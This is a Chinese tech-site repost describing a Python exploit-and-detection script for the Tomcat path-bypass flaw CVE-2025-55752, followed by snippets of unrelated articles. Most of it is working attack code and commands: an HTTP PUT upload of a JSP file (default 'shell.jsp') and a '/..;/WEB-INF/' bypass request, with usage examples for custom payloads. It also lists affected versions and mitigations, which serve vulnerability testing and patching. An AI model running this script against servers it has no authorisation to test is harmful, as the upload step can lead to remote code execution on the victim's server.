news 2026/5/12 14:07:45

CVE-2025-55752 Tomcat 路径绕过与漏洞检测工具详解

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2025-55752 Tomcat 路径绕过与漏洞检测工具详解

CVE-2025-55752 Tomcat 路径绕过与漏洞检测工具

项目描述

本工具是一个专门用于检测和验证 Apache Tomcat 服务器是否存在 CVE-2025-55752 漏洞的安全脚本。该漏洞是由于重写阀门(Rewrite Valve)与规范化处理存在缺陷,导致攻击者可以绕过路径保护机制,访问或上传文件到受保护目录(如/WEB-INF/)。如果服务器启用了 HTTP PUT 方法,此漏洞可能导致远程代码执行(RCE)。

功能特性

  • 漏洞检测:自动化检测目标 Tomcat 服务器是否存在路径绕过漏洞
  • 文件上传测试:支持通过 HTTP PUT 方法上传测试文件到目标服务器
  • 路径绕过验证:利用..;序列绕过 URL 规范化检查,验证对受保护目录的访问
  • 灵活配置:支持自定义上传文件名和 payload 内容
  • SSL 选项:提供 SSL 证书验证的开关选项
  • 独立检查模式:支持仅进行路径绕过检查而不上传文件

安装指南

系统要求

  • Python 3.x
  • requests

安装步骤

  1. 克隆或下载脚本文件

    gitclone<repository-url>cdCVE-2025-55752
  2. 安装必要的 Python 依赖

    pipinstallrequests urllib3
  3. (可选)配置环境

    • 确保 Python 环境已正确配置
    • 如有代理需求,请配置相应的网络设置

使用说明

基本用法

1. 仅检查路径绕过漏洞
python3 CVE-2025-55752.py http://target:8080 --check

此命令仅测试目标服务器是否存在路径绕过漏洞,不进行文件上传。

2. 完整漏洞检测(包含上传和验证)
python3 CVE-2025-55752.py http://target:8080

此命令将尝试上传一个测试 JSP 文件,并验证是否能通过路径绕过访问该文件。

3. 自定义文件名和 payload
python3 CVE-2025-55752.py http://target:8080 --filename exploit.jsp --payload"<% out.println('PWNED'); %>"

使用自定义的文件名和 payload 内容进行测试。

4. 禁用 SSL 证书验证
python3 CVE-2025-55752.py https://target:8443 --no-ssl-verify

对于使用自签名证书的 HTTPS 目标,使用此选项禁用 SSL 验证。

参数说明

  • url:目标服务器的基础 URL(必需),需包含http://https://
  • --filename:上传的文件名,默认为shell.jsp
  • --payload:上传的文件内容,默认为<% out.println("Bypassed!"); %>
  • --check:仅检查路径绕过,不进行文件上传
  • --no-ssl-verify:禁用 SSL 证书验证

输出说明

  • [+]表示成功或发现漏洞
  • [-]表示失败或未发现漏洞
  • [!]表示发生错误

核心代码

1. 主程序入口与参数解析

defmain():parser=argparse.ArgumentParser(description="CVE-2025-55752 Exploit & Detection Tool")parser.add_argument("url",help="Target base URL (e.g., http://127.0.0.1:8080)")parser.add_argument("--filename",default="shell.jsp",help="Filename to upload (default: shell.jsp)")parser.add_argument("--payload",default="<% out.println(\"Bypassed!\"); %>",help="Payload content to upload")parser.add_argument("--check",action="store_true",help="Only check for path bypass without uploading")parser.add_argument("--no-ssl-verify",action="store_true",help="Disable SSL certificate verification")args=parser.parse_args()print(BANNER)verify_ssl=notargs.no_ssl_verifyifnotargs.url.startswith("http"):print("[-] Please include http:// or https:// in the URL")sys.exit(1)ifargs.check:check_access(args.url,f"/WEB-INF/{args.filename}",verify_ssl)else:uploaded_path=attempt_put_upload(args.url,args.filename,args.payload,verify_ssl)ifuploaded_path:check_access(args.url,f"/WEB-INF/{args.filename}",verify_ssl)if__name__=="__main__":main()

代码说明

  • 使用argparse模块解析命令行参数
  • 验证 URL 格式,确保包含协议头
  • 根据--check参数选择执行模式:仅检查或完整测试
  • 控制 SSL 验证开关

2. 文件上传函数

defattempt_put_upload(target,filename,payload,verify_ssl):upload_path=f"/{filename}"url=f"{target}{upload_path}"try:print(f"[+] Attempting to upload payload to:{url}")response=requests.put(url,data=payload,verify=verify_ssl,timeout=10)ifresponse.status_codein[200,201,204]:print(f"[+] Upload successful! Response code:{response.status_code}")returnupload_pathelse:print(f"[-] Upload failed! Response code:{response.status_code}")returnNoneexceptExceptionase:print(f"[!] Upload error:{e}")returnNone

代码说明

  • 使用 HTTP PUT 方法上传文件到目标服务器
  • 构造完整的上传 URL
  • 检查响应状态码,200/201/204 表示上传成功
  • 添加超时设置防止长时间等待
  • 异常处理确保程序稳定性

3. 路径绕过检查函数

defcheck_access(target,path,verify_ssl):bypass_path=f"/..;{path}"url=f"{target}{bypass_path}"try:print(f"[+] Checking access to:{url}")response=requests.get(url,verify=verify_ssl,timeout=10)ifresponse.status_code==200:print("[+] Bypass successful! Target may be vulnerable.")returnTrueelse:print(f"[-] Access denied or not vulnerable (HTTP{response.status_code}).")returnFalseexceptExceptionase:print(f"[!] Access check error:{e}")returnFalse

代码说明

  • 利用..;序列构造路径绕过 URL
  • 使用 HTTP GET 方法尝试访问受保护路径
  • 响应状态码 200 表示绕过成功,目标可能存在漏洞
  • 添加详细的日志输出,便于调试和分析

4. 初始化与安全设置

importrequestsimportargparseimporturllib3importsysfromurllib.parseimportquote urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)BANNER=""" CVE-2025-55752 Tomcat Path Bypass & Upload Detection Script ============================================================ This tool attempts to exploit a Rewrite Valve + normalization bypass to upload a test JSP file into a protected location (like /WEB-INF) and verify if the server is vulnerable to CVE-2025-55752. """

代码说明

  • 导入必要的 Python 模块
  • 禁用 SSL 警告,避免输出干扰
  • 定义工具横幅,显示工具名称和功能介绍
  • 使用urllib.parse.quote预备 URL 编码功能(虽未在代码中直接使用,但为扩展功能预留)

受影响版本

Tomcat 分支受影响版本
11.x11.0.0-M1 至 11.0.10
10.1.x10.1.0-M1 至 10.1.44
9.0.x9.0.0-M11 至 9.0.108
8.5.x8.5.6 至 8.5.100

建议:升级到已修复的版本(11.0.11、10.1.45 或 9.0.109 及以上版本)。

漏洞原理

CVE-2025-55752 是 Apache Tomcat 中的一个回归漏洞,当重写规则将查询参数映射到 URL 时,URL 规范化逻辑存在缺陷。攻击者可以利用特定的路径遍历序列(如..;)绕过内部保护机制,访问受限制的目录(如/WEB-INF//META-INF/)。如果服务器启用了 HTTP PUT 方法,攻击者可能上传恶意文件并实现远程代码执行。

安全建议

  1. 立即升级:将受影响的 Tomcat 版本升级到已修复的版本
  2. 禁用 HTTP PUT:除非必要,否则应禁用 HTTP PUT 方法
  3. 加强重写规则:对重写规则中的输入进行严格验证和清理
  4. 访问控制:加强受保护目录的访问控制
  5. 监控日志:监控服务器日志,检测可疑的路径遍历或文件上传请求FINISHED
    6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ6xNbDhtNlxQOQyXU+FbeFK
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/11 10:53:53

导师又让重写?千笔,专科生论文写作救星!

你是否在论文写作中感到力不从心&#xff1f;选题无头绪、资料难查找、结构混乱、查重率高得让人焦虑……这些困扰让无数专科生在毕业季倍感压力。面对导师的反复修改要求&#xff0c;你是否也曾感到无助&#xff1f;别再独自挣扎&#xff0c;千笔AI正是为解决这些问题而生。它…

作者头像 李华
网站建设 2026/5/11 10:53:53

FLAC3D水力压裂实例解析:单孔与双孔的奇妙世界

FLAC3D水力压裂例子&#xff0c;可以拿来参考&#xff0c;有单孔和双孔。在岩土工程和石油工程等领域&#xff0c;水力压裂是一项至关重要的技术&#xff0c;它通过向地下岩石注入高压流体&#xff0c;使岩石产生裂缝&#xff0c;从而提高油气的开采效率。FLAC3D作为一款强大的…

作者头像 李华
网站建设 2026/5/11 3:38:25

建筑企业破局增长,如何以一体化管理实现数字化升级?

某建筑科技型企业&#xff0c;是集工程咨询、规划、勘察、施工、研发于一体的高新技术企业&#xff0c;业务覆盖建筑设计、市政工程、岩土勘察等多个领域&#xff0c;在全国多地设有分支机构&#xff0c;员工规模500。随着企业发展&#xff0c;如何规范管理、提升运营效能成为企…

作者头像 李华
网站建设 2026/5/11 3:38:24

课程论文不用熬!虎贲等考 AI 一键解锁高效写作,轻松拿捏各科作业

高校课堂上的课程论文&#xff0c;堪称大学生的 “常规作业难题”&#xff1a;文科要查文献梳逻辑、理科要嵌数据写公式、经管类要做实证分析&#xff0c;从选题到定稿&#xff0c;动辄耗费数天时间&#xff0c;赶 due 时更是熬夜爆肝还写不出合格内容。很多同学要么东拼西凑查…

作者头像 李华
网站建设 2026/5/11 3:38:42

陪玩app源码,Go 语言的循环及条件语句

陪玩app源码&#xff0c;Go 语言的循环及条件语句 循环 Go 语言只支持 for 循环。 func TestWhileLoop(t *testing.T) {n : 0for n < 5 {nfmt.Println(n)} }无限循环 n : 0 for {fmt.Println(n) }IF条件语句 func TestIf(t *testing.T) {if a : 1 1; a {t.Log("1 1&q…

作者头像 李华
网站建设 2026/5/11 3:38:44

AI能编完美程序,程序员行业会消失吗?从业者实测一年后说实话

最近这段时间&#xff0c;不管是圈内还是圈外&#xff0c;讨论最多的话题莫过于“AI都能编出完美程序了&#xff0c;程序员是不是要失业了”。尤其是经常刷到各种AI编程工具的演示视频&#xff0c;输入一行指令&#xff0c;几秒钟就能生成完整的代码&#xff0c;还自带注释和异…

作者头像 李华